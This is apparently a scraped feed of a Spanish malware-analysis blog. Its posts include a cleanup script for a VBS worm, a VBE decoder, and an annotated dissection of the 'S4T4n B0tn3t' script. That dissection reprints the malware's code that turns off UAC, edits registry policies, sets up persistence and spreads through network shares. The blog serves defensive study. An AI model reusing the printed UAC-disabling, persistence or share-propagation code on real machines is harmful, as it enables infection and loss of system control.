Quantcast
Channel: 4null0
Viewing all 125 articles
Browse latest View live

Analizando el archivo: "winlogon.vbs" - Parte 3 - Cura

$
0
0
Continuando con las anteriores entradas, se pasa la cura que se creó:

NOTA: Copiarlo y generar un archivo con extensión ".vbs"

'Created for 4null0'
'---------'
'Variables'
'---------'

dim shellobj
dim filesystemobj
dim filename
dim foldername

set shellobj = wscript.createobject("wscript.shell")
set filesystemobj = createobject("scripting.filesystemobject")

installdir = "%temp%"
installdir = shellobj.expandenvironmentstrings(installdir) & "\"

nombrecompleto = split (wscript.scriptname, ".")
installname = nombrecompleto (1) & "."& nombrecompleto (2)

ap = split(installname,".")

installbatname = ap(0) & ".bat"

startup = shellobj.specialfolders ("startup") & "\"

on error resume next

'---------'
'Eliminamos los procesos asociados a la infección
'---------'
ShellObject.Run "taskill /F /IM wscript.exe"
'ShellObject.Run "taskill /F /IM explorer.exe"
'ShellObject.Run "start explorer"

'---------'
'Eliminamos las claves de registro creadas
'---------'

shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\"& split (installname,".")(0)
shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\"& split (installname,".")(0)
shellobj.regdelete "HKEY_LOCAL_MACHINE\software\"& split (installname,".")(0)

'---------'
'Eliminamos los archivos creados en el disco duro
'---------'
                              
filesystemobj.deletefile installdir & installname ,true
filesystemobj.deletefile installdir & installbatname ,true
filesystemobj.deletefile startup & installbatname ,true

'---------'
'Recuperamos la visibilidad para la carpeta de inicio definida en:"startup"
'---------'
set carpeta = filesystemobj.getfolder( startup )

carpeta.attributes = 16

'---------'
'Eliminamos los archivos creados (.vbs, .bat y .lnk) en los dispositivo de tipo extráibles.
'También se eliminan los atributo de "Sistema" y de "Oculto" de cada archivo y carpeta de los dispositivos extráibles.
'---------'

for  each drive in filesystemobj.drives
if  drive.isready = true then
 if  drive.freespace  > 0 then
  if  drive.drivetype  = 1 then
    for  each file in filesystemobj.getfolder ( drive.path & "\").files
         if  instr (file.name,".") then
             if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                 file.attributes = 0
                 if  ucase (file.name) <> ucase (installname) then
                     filename = split(file.name,".")
                     filesystemobj.deletefile (drive.path & "\"& filename(0) & ".lnk" )
                 else
                     filesystemobj.deletefile (drive.path & "\"& file.name)
                 end If
             else
                 filesystemobj.deletefile (file.path)
             end if
         end if
     next
     for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
         folder.attributes = 0
     next
  end if
 end if
end if
next




Analizando el archivo: "Update.dat"

$
0
0
Se paso el siguiente archivo para analizar:

Nombre:             Update.dat
Md5:                   2EE96AC73679D0F7C647A22BF52B7ED2

Md5 del archivo a analizar

Se determina el tipo de archivo, que en nuestro caso es: Data

Tipo de archivo

Se revisa el contenido del mismo, encontrándose datos que aparecen ser datos codificados/cifrados.

Contenido del archivo a investigar

Los archivos ".dat" tienen la particularidad de que solamente se pueden abrir con el archivo que los ha generado, por lo que se necesita conocer el programa que lo ha generado.

Información encontrada sobre los archivos ".dat"

Más información:  http://www.online-convert.com/es/formato-de-archivo/dat

Se revisan los primeros bytes del documento, comprobando que existe la cadena de texto: "This program cannot be run in DOS mode"

 Primeros bytes del archivo a analizar

Por este motivo se procede a modificar el "magic number" para que se corresponde con el "magic number" de un archivo PE, pero no se obtiene el resultado deseado (ver el código fuente)

Se realizan otras pruebas pero gracias a VirusTotal se descubre le tipo de archivo con el que está lidiando: Visual Basic Script.

Información dada por VirusTotal sobre nuestro archivo.

Más información:
https://www.virustotal.com/es/file/11cf0916424e955ac59505b192979010c0a9fb15171286c6c2e7e05680c652f7/analysis/

Si se cambia la extensión por la de ".vbs", tampoco obtenemos el resultado.

NOTA: El código de dichos archivos es código plano.

Por lo que nos encontramos ante un archivo con extensión ".vbe", Visual Basic Encriptado, que es como si fuera un archivo con extensión ".exe".

Se procede a intentar descubrir una manera de descifrar el código para analizar el código fuente, descubriéndose el siguiente código en Internet:

'===============================================================================
'===============================================================================
'  SCRIPT........:  scriptDecode.vbs                  
'  VERSION.......:  1.5
'  DATE..........:  11/22/2003
'  AUTHOR........:  Jean-Luc Antoine
'  LINK..........:  http://www.interclasse.com/scripts/decovbe.php
'  ALTERED BY....:  Joe Glessner
'  DESCRIPTION...:  Decodes scripts encoded with screnc.exe. Usable with
'                   Wscript by dragging an encoded script onto this one. If done
'                   this way, only the first 100 lines (or so) of the script
'                   will be displayed.
'                   If run using Cscript.exe the entire output will be
'                   displayed.
'                   This script can be used to output the decoded script to a
'                   file using Cscript.exe by calling it with the following
'                   syntax:
'
'              cscript [Path]\scriptDecoder.vbs [Path]\<filename> >> output.txt
'
'===============================================================================
'===============================================================================
'**Start Encode**

'===============================================================================
'#  START <CODE>
'===============================================================================
option explicit

    '---------------------------------------------------------------------------
                        '#  Declare variables
                        '---------------------------------------------------------------------------
    Dim oArgs, NomFichier

                        '---------------------------------------------------------------------------
                        '#  Check Arguments
                        '---------------------------------------------------------------------------
                        NomFichier=""
                        Set oArgs = WScript.Arguments
                        Select Case oArgs.Count
                        Case 0 'No Arg, popup a dialog box to choose the file
                                               NomFichier=BrowseForFolder("Choose an encoded file", &H4031, &H0011)
                        Case 1
                                               If Instr(oArgs(0),"?")=0 Then '-? ou /? => aide
                                                                       NomFichier=oArgs(0)
                                               End If
                        Case Else
                                               WScript.Echo "Too many parameters"
                        End Select
                        Set oArgs = Nothing

                        '---------------------------------------------------------------------------
                        '#  Decode the file and output the results
                        '---------------------------------------------------------------------------
    If NomFichier<>"" Then
        Dim fso
        Set fso=WScript.CreateObject("Scripting.FileSystemObject")
        If fso.FileExists(NomFichier) Then
            Dim fic,contenu
            Set fic = fso.OpenTextFile(NomFichier, 1)
            Contenu=fic.readAll
            fic.close
            Set fic=Nothing
   
            Const TagInit="#@~^"'#@~^awQAAA==
            Const TagFin="==^#~@"'& chr(0)
            Dim DebutCode, FinCode
            Do
                FinCode=0
                DebutCode=Instr(Contenu,TagInit)
                If DebutCode>0 Then
                    If (Instr(DebutCode,Contenu,"==")-DebutCode)=10 Then
                        'If "==" follows the tag
                        FinCode=Instr(DebutCode,Contenu,TagFin)
                        If FinCode>0 Then
                            Contenu=Left(Contenu,DebutCode-1) & _
                            Decode(Mid(Contenu,DebutCode+12,FinCode-DebutCode-12-6)) & _
                            Mid(Contenu,FinCode+6)
                        End If
                    End If
                End If
            Loop Until FinCode=0
            WScript.Echo Contenu
        Else
            WScript.Echo Nomfichier & " not found"
        End If
        Set fso=Nothing
    Else
        WScript.Echo "Please give a filename"
        WScript.Echo "Usage : "& wscript.fullname  & ""& WScript.ScriptFullName & _
         "<filename>"
    End If

'===============================================================================
'#  Functions
'===============================================================================
    '---------------------------------------------------------------------------
                        '#  Name................:  Decode()
                        '#  Use.................:  Decode(Chaine)
                        '#  Purpose.............:  Reverse the encoding done by screnc.exe.
                        '---------------------------------------------------------------------------
    Function Decode(Chaine)
        Dim se,i,c,j,index,ChaineTemp
        Dim tDecode(127)
        Const Combinaison="1231232332321323132311233213233211323231311231321323112331123132"
        Set se=WSCript.CreateObject("Scripting.Encoder")
        For i=9 to 127
            tDecode(i)="JLA"
        Next
        For i=9 to 127
            ChaineTemp=Mid(se.EncodeScriptFile(".vbs",string(3,i),0,""),13,3)
            For j=1 to 3
                c=Asc(Mid(ChaineTemp,j,1))
                tDecode(c)=Left(tDecode(c),j-1) & chr(i) & Mid(tDecode(c),j+1)
            Next
        Next
        'Next line we correct a bug, otherwise a ")" could be decoded to a ">"
        tDecode(42)=Left(tDecode(42),1) & ")"& Right(tDecode(42),1)
        Set se=Nothing
        Chaine=Replace(Replace(Chaine,"@&",chr(10)),"@#",chr(13))
        Chaine=Replace(Replace(Chaine,"@*",">"),"@!","<")
        Chaine=Replace(Chaine,"@$","@")
        index=-1
        For i=1 to Len(Chaine)
            c=asc(Mid(Chaine,i,1))
            If c<128 Then index=index+1
            If (c=9) or ((c>31) and (c<128)) Then
                If (c<>60) and (c<>62) and (c<>64) Then
                    Chaine=Left(Chaine,i-1) & Mid(tDecode(c),Mid(Combinaison, _
                     (index mod 64)+1,1),1) & Mid(Chaine,i+1)
                End If
            End If
        Next
        Decode=Chaine
    End Function

    '---------------------------------------------------------------------------
    '#  Name................:  BrowseForFolder()
                        '#  Use.................:  BrowseForFolder(ByVal pstrPrompt, ByVal
    '#                             pintBrowseType, ByVal pintLocation)
    '#  Purpose.............:  Locate the encoded script using Shell.Application
                        '---------------------------------------------------------------------------
    Function BrowseForFolder(ByVal pstrPrompt, ByVal pintBrowseType, ByVal pintLocation)
        Dim ShellObject, pstrTempFolder, x
        Set ShellObject=WScript.CreateObject("Shell.Application")
        On Error Resume Next
        Set pstrTempFolder=ShellObject.BrowseForFolder(&H0,pstrPrompt,pintBrowseType,pintLocation)
        BrowseForFolder=pstrTempFolder.ParentFolder.ParseName(pstrTempFolder.Title).Path
        If Err.Number<>0 Then BrowseForFolder=""
        Set pstrTempFolder=Nothing
        Set ShellObject=Nothing
    End Function
   
'===============================================================================
'#  END </CODE>
'===============================================================================

El código para ejecutar el descifrado es:

cscript //NoLogo <archivo para descifrar> <archivo cifrado> > <archivo de salida de datos>

El resultado es bastante interesante:

Código fuente contenido en el archivo investigado


¡Interesante!

Analizando "S4T4n B0tn3t" - Parte 1

$
0
0

   ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
            ||| v 34.12 Ï S4T4n B0tn3t  |||
   ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

 /\
On error resume Next

Se duerme el proceso durante 5000 ms = 5 sg

wscript.sleep 5000
 /\

En el trozo de código que se muestra a continuación se obtiene el valor de la clave de registro "Timeout". Si dicho valor está establecido a un número igual o superior a 1, se crean dos claves:

HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = 0

HKEY_CURRENT_USER\Software\Microsoft\Windows Script Host\Settings\Timeout = 0

Tras lo cual se vuelve a lanzar este script

Dim oShell
dim wscr,rr

set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Script Host\Settings\Timeout")

if (rr>=1) then
       Set oShell = WScript.CreateObject ("WScript.Shell")

       oShell.run "cmd /K REG ADD ""HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System"" /v DisableRegistryTools /t REG_DWORD /d 0 /f & reg add ""HKEY_CURRENT_USER\Software\Microsoft\Windows Script Host\Settings"" /v Timeout /t reg_dword /d 0 /f & start "&wscript.Scriptname&"  & exit",0

       Set oShell = Nothing
else
end if

En el trozo de código que se muestra a continuación se almacenan en varias variables los valores siguientes:

1.- El nombre de este script, que se almacena en la variable: "nom"
2.- La ruta absoluta donde se encuentra este archivo con extensión ".vbe"
3.- La información contenida en la variable del sistema "allusersprofile", que el sistema donde se están haciendo las pruebas es: C:/ProgramData, se almacena en la variable: "dema"
4.- La información contenida en la variable del sistema "systemroot", que el sistema donde se están haciendo las pruebas es: C:/Windows, se almacena en la variable: "sys"
5.- La información contenida en la variable del sistema "systemdrive", que el sistema donde se están haciendo las pruebas es: C, se almacena en la variable: "var1"
6.- Se almacena en la variable: "MyF", la cadena: "C:\security\blood.dat

Dim oFS, NomFichier

Set oFS = CreateObject("Scripting.FileSystemObject")
NomFichier = oFS.GetAbsolutePathName(""&wscript.Scriptname&"")
nom = wscript.Scriptname
Set oFS = Nothing

fsO = CreateObject("Scripting.FileSystemObject")
Set WSSH = CreateObject("Wscript.shell")
set wshshell=createobject("wscript.shell")


dema=wshshell.expandenvironmentstrings("%allusersprofile%")
sys=wshshell.expandenvironmentstrings("%systemroot%")
var1=wshshell.expandenvironmentstrings("%systemdrive%")   R00T + TMP DIR
MyF = ""&var1&"\security\blood.dat"

Dim shell
Set shell = WScript.CreateObject("WScript.Shell")
set wscr = CreateObject("WScript.Shell")

En el trozo de código que se muestra a continuación se crea una función que permite determinar si un servicio está o no ejecutándose

function isServiceRunning(strComputer,strServiceName)
       Dim objWMIService, strWMIQuery

       strWMIQuery = "Select * from Win32_Service Where Name = "& strServiceName & " and state=Running"

       Set objWMIService = GetObject("winmgmts:" _
             & "{impersonationLevel=impersonate}!\\"& strComputer & "\root\cimv2")

       if objWMIService.ExecQuery(strWMIQuery).Count > 0 then
             isServiceRunning = true
       else
             isServiceRunning = false
       end if

end function

En el trozo de código que se muestra a continuación se solicita comprobar si el servicio "System" se encuentra activo. Si es así, se solicita el valor de la siguiente clave de registro:

HKLM\software\microsoft\windows\currentversion\policies\explorer\sdate\sdate

Si el valor devuelto es igual o superior a 34, se comprueba la cantidad de procesos ejecutándose correspondientes a: "wscript.exe". Si este valor es igual o superior a 2, se comprueba dos de los archivos que introduce el "malware". Si ambos existen se para el proceso que estamos detallando.

Conclusión: Estamos ante una comprobación de que el hosts en donde se está ejecutando el archivo ".vbe" está o no infectado ya.


Dim strComputer,strServiceName
strComputer = "."  Local Computer
strServiceName = "system"  Windows Service

if isServiceRunning(strComputer,strServiceName) then
       ab = wscr.RegRead("HKLM\software\microsoft\windows\currentversion\policies\explorer\sdate\sdate")

       if (ab >= 34) then if last version

             Set objWMI = GetObject("winmgmts:root\cimv2")

             sQuery = "Select * from Win32_process Where Name = wscript.exe"
            
             if objWMI.execquery(sQuery).Count >= 2 then
            
                    set fsO = CreateObject("Scripting.FileSystemObject")

                    if fsO.FileExists(""&var1&"\security\svchost.exe") Then
                           if fsO.FileExists(""&sys&"\system32\system\msg\config.txt") Then
            
                                  wscript.quit

                           else

                           end if
                    end if
             end if
       end if
end if

En el trozo de código que se muestra a continuación se solicita antes de nada la activación de la activación del comando "CMD", es decir, activa la posibilidad de utilizar dicho comando mediante la modificación de la siguiente clave de registro:

HKCU\SOFTWARE\Policies\Microsoft\Windows\System\DisableCMD

A continuación comprueba si el control de cuentas de usuario se encuentra activa mediante una consulta a la siguiente clave de registro:

HKLM\software\microsoft\windows\currentversion\policies\system\EnableLUA

En el caso de que estuviera habilitado el control de cuentas de usuario, entonces se creará un archivo de lotes que posteriormente será ejecutado y eliminado.

Conclusión: Estamos, en esta última parte, ante una evasión del control de permisos de usuarios, ya que se procede a crear una archivo con el usuario que ha lanzado el proceso con la intención de que no se pare el proceso por no tener permisos.

Dim objShell
Dim strMessage, welcome, goodbye

welcome = "DisableCMD"  New Key
goodbye = "HKCU\SOFTWARE\Policies\Microsoft\Windows\System\"

Set objShell = CreateObject("WScript.Shell")

objShell.RegWrite goodbye & welcome, 0, "REG_DWORD"

set wscr = CreateObject("WScript.Shell")
ab = wscr.RegRead("HKLM\software\microsoft\windows\currentversion\policies\system\EnableLUA")

if (err.number <> 0 OR ab = 1) then
  const ForReading = 1 , ForWriting = 2 , ForAppending = 8
  tmpdir=shell.ExpandEnvironmentStrings("%temp%")
  nomfichhh=tmpdir & "\uac.bat"
  set fsO = CreateObject("Scripting.FileSystemObject")
  set f = fso.OpenTextFile(nomfichhh, ForWriting , true)

  f.writeline "@echo off"
  f.writeline "mode con lines=1 cols=14"
  f.writeline "ver | find /i ""version 6.1.""> nul"
  f.writeline "if %errorlevel%==0 goto patch"
  f.writeline "ver | find /i ""version 6.0.""> nul"
  f.writeline "if %errorlevel%==0 goto patch"
  f.writeline ":exit"
  f.writeline "exit"
  f.writeline ":patch"
  f.writeline "if exist ""%temp%\ADMIN.vbe"" del /q /s /f ""%temp%\ADMIN.vbe""  > nul "
  f.writeline "if exist ""%temp%\CPBA.bat"" del /q /s /f ""%temp%\CPBA.bat""  > nul "
  f.writeline "echo set objshell = createobject(""shell.application"") > ""%temp%\ADMIN.vbe"""
  f.writeline "echo set fsO = createobject(""scripting.filesystemobject"") >> ""%temp%\ADMIN.vbe"""
  f.writeline "echo strpath = fso.getparentfoldername(wscript.scriptfullname) >> ""%temp%\ADMIN.vbe"""
  f.writeline "echo objshell.shellexecute ""cmd.exe"", ""/c"" ^& Chr(34) ^& strpath ^& ""\CPBA.bat"" ^& Chr(34), """", ""runas"", 0 >> ""%temp%\ADMIN.vbe"""
  f.writeline "echo wscript.sleep 1000 >> ""%temp%\ADMIN.vbe"""
  f.writeline "echo on error resume next >> ""%temp%\tp.vbe"""
  f.writeline "echo WScript.CreateObject(""WScript.Shell"").RegWrite ""HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools"",0, ""REG_DWORD"">> ""%temp%\tp.vbe"""
  f.writeline "echo ""%temp%\tp.vbe"">> ""%temp%\CPBA.bat"""
  f.writeline "echo del/f/q ""%temp%\tp.vbe"">> ""%temp%\CPBA.bat"""
  f.writeline "echo REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v rescue /d """""""""&dema&"\rescue.vbe"""""""">> ""%temp%\CPBA.bat"""
  f.writeline "echo reg add hklm\software\microsoft\windows\currentversion\policies\system /v consentpromptbehavioradmin /t reg_dword /d 0 /f ^> nul >> ""%temp%\CPBA.bat"""
  f.writeline "echo reg add hklm\software\microsoft\windows\currentversion\policies\system /v enablelua /t reg_dword /d 0 /f ^> nul >> ""%temp%\CPBA.bat"""
  f.writeline "start """" /wait ""%temp%\ADMIN.vbe""    "
  f.writeline " reg query hklm\software\microsoft\windows\currentversion\policies\system /v enablelua | find /i ""0x0"">nul "
  f.writeline " if %errorlevel%==0 goto ok "
  f.writeline " start """"/wait/MAX ""%temp%\uac.bat"""
  f.writeline ":ok"
  f.writeline "if exist ""%temp%\ADMIN.vbe"" del /q /s /f ""%temp%\ADMIN.vbe""  > nul "
  f.writeline "if exist ""%temp%\CPBA.bat"" del /q /s /f ""%temp%\CPBA.bat""  > nul "
  f.writeline "EXIT"
  f.close

  set variable = createobject("wscript.shell")
  variable.run ""&nomfichhh&"" ,0,true

  fso.DeleteFile nomfichhh, true
end if
Para ser más legible, se muestra una imagen del archivo por lotes: uac.bat

Imagen del archivo: uac.bat

Este archivo comprueba antes de ejecutarse la versión del sistema operativo. Si la versión es la 6.1 o la 6.0, el archivo no realizará ninguna tarea, con otra versión seguirá realizando tareas.

NOTA:  La versión 6.1 se corresponde con: Windows 7 y Windows Server 2008 R2
                La versión 6.0 se corresponde con: Windows Vista y Windows Server 2008

Si continuamos analizando el código, podemos ver se comprueba la existencia de dos archivos ubicados en la carpeta "Temp" definida por el usuario: ADMIN.vbe y CPBA.bat. Si existen, se eliminan.

A continuación se crean los siguientes tres archivos:

tp.vbe

Código del archivo: tp.vbe

ADMIN.vbe

Código del archivo:ADMIN.vbe


CPBA.bat

Código del archivo: CPBA.bat


De los cuales, el primero en ejecutar es: ADMIN.vbe, por lo que se lanzará la ejecución del archivo: CPBA.bat. Este a su vez, intentará crear o modificar las siguientes claves del registro de Windows.

HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\rescue

NOTA: Es muy significativa esta nueva entrada en el registro de Windows, porque será ella la que, cada vez que se reinicie el sistema, mantendrá la persistencia del "malware".

hklm\software\microsoft\windows\currentversion\policies\system\consentpromptbehavioradmin
hklm\software\microsoft\windows\currentversion\policies\system\enablelua

Tras estas ejecuciones se comprobará el cambio en la última clave de registro anteriormente comentada. Si este se ha producido se eliminarán los archivos: ADMIN.vbe y CPBA.bat, pero si no se ha producido se volverá a ejecutar el archivo: uac.bat


NOTA: La última condición "if", podría provocar un bucle infinito que supusiera un DoS al sistema

Minimizar exposición a las infecciones por malware

$
0
0
NOTA INICIAL:

No creo que vaya a hacer el descubrimiento del siglo pero si me gustaría exponer la solución que de manera inconsciente, a mi juicio, permite minimizar la exposición a una infección de malware y que con toda seguridad se encuentre implantada en múltiples empresas.

ENTORNO INICIAL

Existen varios vectores de infección, pero yo voy a exponer una solución para el vector de infección a través de archivos lanzadores que intentan descargarse ejecutables de la red.

Normalmente estos lanzadores se basan en archivos ofimáticos que contienen macros que se ejecutan nada más abrir el archivo, y que su objetivo es descargarse un archivo, normalmente un ejecutable, que será renombrado y ejecutado nada más haberlo descargado.

Habitualmente, los recursos solicitados a Internet vienen configurados de dos maneras:

1.  <dominio>/<uri>
2 . <ip>/<uri>

En el primero de los casos, antes de realizar la petición de descargar, se produce una petición de resolución DNS a través de los servidores configurados en nuestro NIC (tarjeta de red), que normalmente suelen ser servidores DNS públicos en Internet (los propios de Telefónica o de cualquier otro ISP o gran corporación - 8.8.8.8 ;-))

Tras la resolución se produce la solicitud de descarga.

Descargado el recurso, el nombre y la ubicación donde se almacena, suelen ser modificados para dificultar un posible análisis. Tras lo cual, se produce la ejecución del mismo infectando nuestro hosts, y como es lo normal en los tiempos que corren, dicho malware reportará información hacia su C&C (Command and Control).

En el segundo de los casos, se realiza todo lo comentado anterior salvo por una excepción. NO se produce la solicitud de resolución DNS.


Flujo del vector de infección analizado.


Las características que son importantes para nuestra investigación y que se dan en ambos casos son:

1.- El "lanzador" utiliza los recursos del propio sistema.
2.- Se utiliza un socket para tramitar la solicitud de descarga.
3.- El socket levantado es un proceso hijo del proceso que abre el documento.

SOLUCIÓN

La solución a este problema mediante el uso de recursos de red pasa por la utilización de:

1.- Un servidor DNS que solo gestione el dominio interno de nuestra red.

NOTA: No realizaría peticiones de resolución de dominios hacía el exterior, de eso ya se encargaría el siguiente elemento.

2.- Un proxy-web, que sea  el único que realice peticiones HTTP/S, SSH, FTP.

NOTAS: 
                A. Por supuesto, la salida a Internet debe de estar controlada, como mínimo por una tupla de usuario/contraseña, que además sea distinta a la utiliza para acceder a la máquina local (este conectada o no a un dominio).

                B. También hay que "adiestrar" a nuestros queridos usuarios para que no almacenen las credenciales para su uso automático, es decir, preferiblemente usar dobles autenticaciones.

3.- Bloquear la salida hacia Internet por cualquier otra medio que no sea uno controlado, vamos, sólo debe salir el proxy-web.

NOTA:Para entornos caseros, este último paso puede ser obviado, y en su defecto, NO definir servidores DNS a utilizar.
Solución con servidor DNS que gestionan, sólo, nuestro dominio interno.


Solución sin servidor DNS interno, enfocado al despliegue en hogares.

EXPLICACIÓN

Si implementamos un servidor DNS que gestiona solamente nuestro dominio interno, las peticiones que realice el lanzador para resolver el dominio del cual quiere descargarse el "malware" no serán atendidas, por lo que la descarga NO se realizará.

Si NO configuramos ningún servidor DNS que gestione las resoluciones DNS, las peticiones que realice el lanzador para resolver el dominio del cual quiere descargarse el "malware" no serán atendidas, por lo que la descarga NO se realizará.

En definitiva, en nuestro sistema permanecerá el "lanzador" pero no se habrá descargado ni ejecutado el verdadero malware.

Si nuestro lanzador no utiliza resoluciones DNS, sino que de manera directa solicita la solicitud de descarga del malware a una dirección IP. Este socket se encaminará hacía nuestra puerta de enlace (Gateway), y no a través de nuestro proxy-web -que es el único que tramita peticiones hacía Internet-, por lo que la conexión contra el servidor solicitado, NUNCA se llevará a cabo.

EFECTOS COLATERALES

Con la solución propuesta tenemos "efectos colaterales", cuales son:

1.- Los archivos que llevan embebidos los códigos malware, se ejecutarán con total normalidad, infectándonos, PERO ...cuando se realicen las conexiones contra el C&C, nuestro entorno bloqueará la salida de las comunicaciones.

2.- Ante los ransomware, esta solución evitará el cifrado de la información o evitará que la clave de cifrado llegue al "C&C".¿Por qué?.

Todo depende de la versión de ransomware con la que nos encontremos, de las existentes hasta la fecha.

Existe la posibilidad de encontrarnos con versiones que solicitan las claves de cifrado a Internet, en cuyo caso, esta solución bloquearía la salida de la petición, por lo que NO se cifrarían los archivos. Si nos encontramos con versiones que ya poseen la clave de cifrado o la "fábrica" en el momento del cifrado, los archivos será cifrados perola comunicación que realicen dicho ransomware para distribuir la clave utilizadaNO serán entregados.

Esto último supone un inconveniente, incluso el hecho de perder las peticiones que hemos considerado maliciosas, es un inconveniente.

Todo lo comentado con anterioridad puede ayudarnos a alimentar la inteligencia de nuestros elementos de seguridad, si los tuviéramos, ¿cómo?.

Añadamos un "honeypot" a nuestra solución que reciba y responda, si fuera necesario, a todas aquellas peticiones que no pertenezcan a nuestra red interna. Es decir, cuando nuestro servidor DNS interno, reciba una petición de resolución de un dominio que no es el nuestro, dicha petición será enviada a nuestro "honeypot". Si nuestro default gateway recibe un paquete dirigido a una IP que no pertenece a nuestro rango interno, dicha petición será enviada a nuestro "honeypot".

Todas estas peticiones serán recolectadas por los logs de nuestro honeypot, que pueden ser enviadas a su vez a un sistema de correlación, que nos ayude a analizar las peticiones recibidas.

Solución con Honeypot incorporado en nuestra red.


EVOLUCIÓN

Una de las posibles evoluciones consistiría en utilizar el proxy-web, bien, levantando un proceso vinculado con uno de los navegadores existentes en el hosts obien, configurando un socket que utilice la salida a través de proxy-web.

 En cualquiera de los casos, tal y como se ha comentado antes, habría que:

1.- Adiestrar a nuestros queridos usuarios para que no almacenen las credenciales para su uso automático.

2.- Que las credenciales a utilizar en el proxy-web fueran distintas a la utilizadas frente al dominio o frente a la "base de datos" para el acceso al host de manera local.

3.-  Y para evitarlo,  sería preferible usar dobles autenticaciones.

U otras medidas ...



Analizando "S4T4n B0tn3t" - Parte 2

$
0
0
Continuamos con el análisis.

En el trozo de código que se muestra a continuación se define una variable de tipo "Shell" que permite recuperar el acceso al contenido de las siguientes carpetas y archivos, por parte del administrador:

%systemdrive%\kernel - c:\kernel
%systemdrive%\security- c:\security
%alluserprofiler%\ - c:\ProgramData\
%systemRoot%\System32\wscript.exe - c:\Windows\System32\wscript.exe
%systemRoot%\System32\drivers - c:\Windows\System32\drivers
%systemRoot%\System32\drivers\flopydisk.sys - c:\Windows\System32\drivers\flopydisk.sys
""%systemdrive%\system Volume Information - c:\system Volume Information

Así como definir los permisos para las anteriores carpetas o archivos.

Modificación de permisos

En el trozo de código que se muestra a continuación se modifican los valores de las siguiente claves de registro, colocando en ambos casos el valor "0":

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\disabletaskmgr = 0

HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools  = 0


Modificación del registro de Windows

En el trozo de código que se muestra a continuación se crea un archivo en la carpeta "Temp" del usuario con el que se ejecuta este código, con el nombre: tmp.bat. Posteriormente el archivo por lotes se ejecutará y se eliminará.

Contenido del archivo tmp.bat

Para ser más legible, se muestra una imagen del archivo por lotes: tmp.bat


Imagen del archivo: tmp.bat


Este archivo comprueba la existencia dentro del archivo "C:\security\blood.dat" de los delimitadores definidos por el sistema, si la cantidad encontrada supera los 18, entonces no se realizada nada. Por el contrario, se pasa a:

1.- Establecer un icono para los archivo de tipo ".vbe", mediante:

HKCR\VBEFile\DefaultIcon=%SystemRoot%\system32\shell32.dll,1

2.- Copia a la carpeta temporal del usuario todos los archivos con extensión ".vbe" ubicados en:

                A.- c:/kernel
                B.- El propio archivo ejecutado por el usuario.

3.- Se camufla el archivo ejecutado ubicado en la carpeta temporal mediante la ocultación y la declaración del archivo como archivo del sistema.

4.- Se comprueba que realmente existe el archivo anterior en la carpeta temporal. Si no existe se finaliza la ejecución del archivo por lotes.

5.- Se elimina de todas las unidades detectas en el sistema el archivo "config.dat"

6.- Se crean los siguiente directorios:

                A.- c:\security
                B.- c:\security\lpt1
                C.- c:\kernel
                D.- c:\kernel\lpt1

7.- Se camufla los directorios creados anteriormente mediante la ocultación y la declaración del archivo como archivo del sistema.

8.- Se elimina el contenido de los directorios: "c:\kernel" y "c:\security"
9.- Se copia en los dos directorios anteriores el archivo que ha sido lanzado por el usuario
10.- Se elimina de la carpeta temporal el archivo cuyo nombre es igual al nombre del archivo que ha ejecutado el usuario.
11.- Se renombrar los archivos copiados en el punto 9, por los nombres: r00t3r y blood.dat. Siendo el primero de ellos camuflado mediante los procedimientos vistos anteriormente (ocultando el archivo y declarándolo del sistema)
12.- Se procede a registrar todos las librerías y ejecutables ubicados en la carpeta "c:\windows\wbem"
13.- Se procede a configurar el servicio "TermService" para que se inicie de manera automática


En el trozo de código que se muestra a continuación se crea un archivo en la carpeta "Temp" del usuario con el que se ejecuta este código, con el nombre: tmp.vbs. Posteriormente el archivo por lotes se ejecutará y se eliminará.

Contenido del archivo tmp.vbs - 1º parte

Contenido del archivo tmp.vbs - 2º parte

Para ser más legible, se muestra una imagen del archivo tal y como quedaría: tmp.vbe

Contenido del archivo tmp.vbe

Este realizará lo siguiente:

1.- Crea en la carpeta temporal del usuario un archivo denominado: b.bat

2.- Comprueba la existencia de carpetas compartidas en el host, y por cada una de ellas se almacena en el archivo creado anteriormente las cadenas mostradas a continuación.

Es decir, por cada recurso compartido, elimina cualquier vestigio de archivos con extensión ".vbe", copia el archivo; "blood.dat", ubicado en la carpeta: "C:\security" en el recurso compartido, y renombrar el archivo como: "Update.dat", ocultándolo y dándole atributos del sistema

NOTA: Dicho archivo se ejecutará como última tarea del archivo: tmp.vbe


Recursos compartidos del host

Contenido del archivo b.bat


3.- Tras la inserción de las líneas de código, se procede a eliminar todo tipo de archivo: "de acceso directo"

4.-  Se pasa a crear un acceso directo bajo el nombre: "Mariage.lnk", que ejecutará el archivo: "update.dat" almacenado en el recurso compartido.

Conclusión: Este último archivo: tmp.vbe, es el encargado de propagar la infección de manera transversal, mediante el uso de unidades compartidas ( través de la red).


Vulnerabilidad en VirusScan de McAfee

$
0
0
Tras el conocimiento de la vulnerabilidad que afecta a VirusScan de McAfee se pasaron a realizar pruebas.

Antes de nada se procede a realizar una descripción somera de la vulnerabilidad:

Objetivo: La vulnerabilidad consiste en deshabilitar la clave que bloquea las modificaciones del susodicho VirusScan.

Permisos: Para llevar a cabo la explotación de la vulnerabilidad se necesita realizar el ataque utilizando un usuario con permisos de Administrador sobre la máquina.


